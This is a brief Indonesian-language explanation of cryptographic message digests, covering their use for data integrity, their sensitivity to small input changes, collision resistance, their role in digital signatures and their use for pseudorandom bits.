MD adalah angka yang dikalkulasi dari semua informasi lewat fungsi kriptografi. Angka ini digunakan untuk memverifikasi integritas data informasi. Segala perubahan pada informasi , meskipun kecil akan menghasilkan MD yang jauh berbeda. Algoritma MD bisa dianggap aman jika komputasi untuk menerka isi pesan MD tidak lagi memungkinkan, atau adanya tabrakan antara dua pesan yang memiliki MD yang sama. Untuk mempercepat proses , kebanyakan algoritma digital signature menetapkan hanya digest dai pesan yang bisa ditandai. MD juga bisa digunakan untuk pembuatan pseudorandom bits.